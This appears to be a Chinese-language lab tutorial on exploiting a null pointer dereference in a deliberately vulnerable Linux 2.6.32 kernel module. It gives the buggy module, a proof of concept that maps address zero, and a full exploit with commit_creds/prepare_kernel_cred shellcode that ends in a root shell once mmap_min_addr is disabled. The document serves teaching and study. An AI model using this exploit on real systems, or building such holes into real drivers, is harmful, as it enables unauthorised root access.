Introduction
空指针解引用产生的问题,利用方法是映射 0 地址,在 0 地址上放置 shellcode 执行。
Bug
查看漏洞代码:
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>
void (*my_funptr)(void);
int bug1_write(struct file *file, const char *buf, unsigned long len)
{
my_funptr();
return len;
}
static int __init null_dereference_init(void)
{
printk(KERN_ALERT "null_dereference driver init!\n");
create_proc_entry("bug1", 0666, 0)->write_proc = bug1_write;
return 0;
}
static void __exit null_dereference_exit(void)
{
printk(KERN_ALERT "null_dereference driver exit\n");
}
module_init(null_dereference_init);
module_exit(null_dereference_exit);
代码中 my_funptr
函数指针未初始化,其值为空 (0x0
),调用 my_funptr
即执行 0x0
地址处的指令。
将漏洞代码保存为 null_dereference.c
,创建 Makefile
写入以下内容:
obj-m := null_dereference.o
KERNELDR := ~/linux_kernel/linux-2.6.32
PWD := $(shell pwd)
modules:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules
moduels_install:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules_install
clean:
rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions
KERNELDR
填写 linux kernel 代码的目录,有空行的前面必须使用 Tab
,否则会编译失败。
make 编译完之后将 null_dereference.o
放入 busybox-1.19.4/_install
目录下,重新生成 rootfs.img
文件:
find . | cpio -o --format=newc > ../rootfs.img
Poc
接下来编译 poc
:
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
char payload[] = "\xe9\xea\xbe\xad\x0b"; // jmp 0xbadbeef
int main() {
mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
memcpy(0, payload, sizeof(payload));
int fd = open("/proc/bug1", O_WRONLY);
write(fd, "fanrong", 7);
return 0;
}
执行:
gcc -static poc.c -o poc
编译之后重新生成一次 rootfs.img
。
启动 qemu,用 Ctrl+Alt+2
切换到控制台,执行 gdbserver tcp::1234
,在本地用 gdb
连接:
gdb-peda$ target remote :1234
Remote debugging using :1234
Warning: not running or target is remote
0xc100955b in ?? ()
gdb-peda$ b *0x0
Breakpoint 1 at 0x0
gdb-peda$ c
Continuing.
再用 Ctrl+Alt+1
切回去,挂载驱动,执行 poc:
# insmod null_dereference.ko
...
# ./poc
gdb 执行到断电 0x0
地址处,查看一下当前指令:
Breakpoint 1, 0x00000000 in ?? ()
gdb-peda$ pdisass $pc
Dump of assembler code from 0x0 to 0x20:: Dump of assembler code from 0x0 to 0x20:
=> 0x00000000: jmp 0xbadbeef
0x00000005: add BYTE PTR [eax],al
0x00000007: add BYTE PTR [eax],al
0x00000009: add BYTE PTR [eax],al
0x0000000b: add BYTE PTR [eax],al
0x0000000d: add BYTE PTR [eax],al
0x0000000f: add BYTE PTR [eax],al
0x00000011: add BYTE PTR [eax],al
0x00000013: add BYTE PTR [eax],al
0x00000015: add BYTE PTR [eax],al
0x00000017: add BYTE PTR [eax],al
0x00000019: add BYTE PTR [eax],al
0x0000001b: add BYTE PTR [eax],al
0x0000001d: add BYTE PTR [eax],al
0x0000001f: add BYTE PTR [eax],al
End of assembler dump.
成功劫持 eip
。
Exploit
我们的目标是 root shell,内核并不能直接调用 system("/bin/sh")
,但是它可以给予当前进程 root 权限。
commit_creds ( prepare_kernel_cred (0));
获取函数地址:
# grep commit_creds /proc/kallsyms
...
# grep kernel_cred /proc/kallsyms
...
写成 shellcode:
xor %eax, %eax
call 0xc1069be0
call 0xc1069a40
ret
查看其反汇编指令:
# gcc -o payload payload.s -nostdlib -Ttext=0
# objdump -d payload
...
00000000 <.text>:
0: 31 c0 xor %eax,%eax
2: e8 d9 9b 06 c1 call c1069be0 <_end+0xc1068bd0>
7: e8 34 9a 06 c1 call c1069a40 <_end+0xc1068a30>
c: c3 ret
exploit:
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
char payload[] = "\x31\xc0\xe8\xd9\x9b\x06\xc1\xe8\x34\x9a\x06\xc1\xc3";
int main() {
mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
memcpy(0, payload, sizeof(payload));
int fd = open("/proc/bug1", O_WRONLY);
write(fd, "foo", 4);
system("/bin/sh");
}
运行 exploit 之前先关闭 mmap_min_addr
缓解措施:
# sysctl -w vm.mmap_min_addr="0"
添加普通用户:
# touch /etc/passwd
# touch /etc/group
# mkdir /home
# adduser user
# su user
$
exploit:
/ $ ./exploit
/ # id
uid=0 gid=0
/ #